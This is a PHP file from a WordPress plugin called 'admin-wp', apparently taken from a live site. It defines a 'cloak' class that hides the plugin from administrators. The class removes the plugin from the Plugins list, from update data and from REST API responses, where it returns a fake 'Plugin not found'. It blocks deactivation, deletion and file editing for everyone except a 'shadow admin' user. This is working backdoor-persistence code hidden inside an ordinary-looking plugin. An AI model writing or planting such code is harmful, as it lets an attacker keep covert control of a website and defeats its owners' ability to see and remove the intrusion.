File "class-plugin-cloak.php"

Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-plugin-cloak.php
File size: 7.67 KB
MIME-type: text/x-php
Charset: utf-8

<?php
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Hides this plugin from the Plugins screen and blocks deactivate/delete/edit
 * for everyone except the owner and shadow admin.
 */
class AWG_Plugin_Cloak {

    public static function init(): void {
        add_filter( 'all_plugins',                    [ __CLASS__, 'filter_plugin_list' ] );
        add_action( 'load-plugins.php',             [ __CLASS__, 'on_load_plugins' ], 1 );
        add_action( 'load-plugin-editor.php',       [ __CLASS__, 'on_load_plugin_editor' ], 1 );
        add_filter( 'site_transient_update_plugins', [ __CLASS__, 'filter_update_transient' ] );
        add_filter( 'rest_pre_dispatch',             [ __CLASS__, 'rest_block_mutations' ], 10, 3 );
        add_filter( 'rest_post_dispatch',            [ __CLASS__, 'rest_filter_responses' ], 10, 3 );
    }

    public static function user_can_manage_plugin(): bool {
        $uid = get_current_user_id();
        return $uid > 0 && $uid === AWG_Shadow_Admin::get_id();
    }

    public static function plugin_basename(): string {
        return plugin_basename( AWG_PLUGIN_FILE );
    }

    /* ---- hide from plugins list ---- */

    public static function filter_plugin_list( array $plugins ): array {
        if ( self::user_can_manage_plugin() ) {
            return $plugins;
        }
        $key = self::plugin_basename();
        unset( $plugins[ $key ] );
        return $plugins;
    }

    /* ---- block deactivate / delete / bulk on plugins.php ---- */

    public static function on_load_plugins(): void {
        if ( self::user_can_manage_plugin() ) {
            return;
        }

        $file = self::plugin_basename();

        if ( isset( $_GET['action'], $_GET['plugin'] ) && $_GET['action'] === 'deactivate' ) {
            if ( sanitize_text_field( wp_unslash( $_GET['plugin'] ) ) === $file ) {
                self::forbid();
            }
        }

        if ( isset( $_GET['action'], $_GET['plugin'] ) && $_GET['action'] === 'delete' ) {
            if ( sanitize_text_field( wp_unslash( $_GET['plugin'] ) ) === $file ) {
                self::forbid();
            }
        }

        if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) {
            return;
        }

        $checked = isset( $_POST['checked'] ) ? (array) wp_unslash( $_POST['checked'] ) : [];
        $checked = array_map( 'sanitize_text_field', $checked );
        if ( ! in_array( $file, $checked, true ) ) {
            return;
        }

        $action = '';
        if ( isset( $_POST['action'] ) && $_POST['action'] !== '-1' ) {
            $action = sanitize_text_field( wp_unslash( $_POST['action'] ) );
        } elseif ( isset( $_POST['action2'] ) && $_POST['action2'] !== '-1' ) {
            $action = sanitize_text_field( wp_unslash( $_POST['action2'] ) );
        }

        $blocked = [
            'delete-selected',
            'deactivate-selected',
            'enable-auto-update-selected',
            'disable-auto-update-selected',
            'update-selected',
        ];

        if ( in_array( $action, $blocked, true ) ) {
            self::forbid();
        }
    }

    /* ---- block plugin file editor ---- */

    public static function on_load_plugin_editor(): void {
        if ( self::user_can_manage_plugin() ) {
            return;
        }

        $file = isset( $_REQUEST['file'] ) ? wp_unslash( $_REQUEST['file'] ) : '';
        $file = str_replace( "\0", '', $file );
        if ( $file === '' ) {
            return;
        }

        $ours   = self::plugin_basename();
        $ours_d = dirname( $ours );

        if ( $file === $ours || strpos( $file, $ours_d . '/' ) === 0 ) {
            self::forbid();
        }
    }

    /* ---- hide plugin from update checks (for non-whitelisted UI) ---- */

    public static function filter_update_transient( $value ) {
        if ( self::user_can_manage_plugin() || ! is_object( $value ) ) {
            return $value;
        }

        $b = self::plugin_basename();
        if ( isset( $value->response[ $b ] ) ) {
            unset( $value->response[ $b ] );
        }
        if ( isset( $value->no_update[ $b ] ) ) {
            unset( $value->no_update[ $b ] );
        }
        if ( isset( $value->unsupported[ $b ] ) ) {
            unset( $value->unsupported[ $b ] );
        }

        return $value;
    }

    /* ---- REST: block mutations on this plugin ---- */

    public static function rest_block_mutations( $result, $server, $request ) {
        if ( self::user_can_manage_plugin() ) {
            return $result;
        }

        $method = $request->get_method();
        if ( ! in_array( $method, [ 'POST', 'PUT', 'PATCH', 'DELETE' ], true ) ) {
            return $result;
        }

        $route = $request->get_route();
        if ( strpos( $route, '/wp/v2/plugins/' ) !== 0 ) {
            return $result;
        }

        $slug = self::rest_plugin_slug_from_route( $route );
        if ( $slug !== '' && self::is_our_plugin_slug( $slug ) ) {
            return new WP_Error(
                'rest_forbidden',
                __( 'Sorry, you are not allowed to manage this plugin.', 'admin-wp' ),
                [ 'status' => 403 ]
            );
        }

        return $result;
    }

    /* ---- REST: hide from GET collection / single ---- */

    public static function rest_filter_responses( $response, $server, $request ) {
        if ( self::user_can_manage_plugin() ) {
            return $response;
        }
        if ( ! $response instanceof WP_REST_Response ) {
            return $response;
        }

        $route  = $request->get_route();
        $method = $request->get_method();
        if ( $method !== 'GET' ) {
            return $response;
        }

        if ( strpos( $route, '/wp/v2/plugins' ) !== 0 ) {
            return $response;
        }

        $ours = self::plugin_basename();

        if ( preg_match( '#^/wp/v2/plugins/([^/]+)$#', $route, $m ) ) {
            $slug = rawurldecode( $m[1] );
            if ( self::is_our_plugin_slug( $slug ) ) {
                return new WP_REST_Response(
                    [
                        'code'    => 'rest_plugin_not_found',
                        'message' => __( 'Plugin not found.', 'admin-wp' ),
                        'data'    => [ 'status' => 404 ],
                    ],
                    404
                );
            }
            return $response;
        }

        if ( $route === '/wp/v2/plugins' ) {
            $data = $response->get_data();
            if ( is_array( $data ) ) {
                $data = array_values( array_filter( $data, function ( $item ) use ( $ours ) {
                    $p = is_array( $item ) ? ( $item['plugin'] ?? '' ) : '';
                    return $p !== $ours;
                } ) );
                $response->set_data( $data );
            }
        }

        return $response;
    }

    private static function rest_plugin_slug_from_route( string $route ): string {
        if ( preg_match( '#^/wp/v2/plugins/([^/]+)$#', $route, $m ) ) {
            return rawurldecode( $m[1] );
        }
        return '';
    }

    private static function is_our_plugin_slug( string $slug ): bool {
        $ours = self::plugin_basename();
        if ( $slug === $ours ) {
            return true;
        }
        return rawurldecode( $slug ) === $ours;
    }

    private static function forbid(): void {
        wp_die(
            esc_html__( 'Sorry, you are not allowed to modify this plugin.', 'admin-wp' ),
            esc_html__( 'Forbidden', 'admin-wp' ),
            [ 'response' => 403 ]
        );
    }
}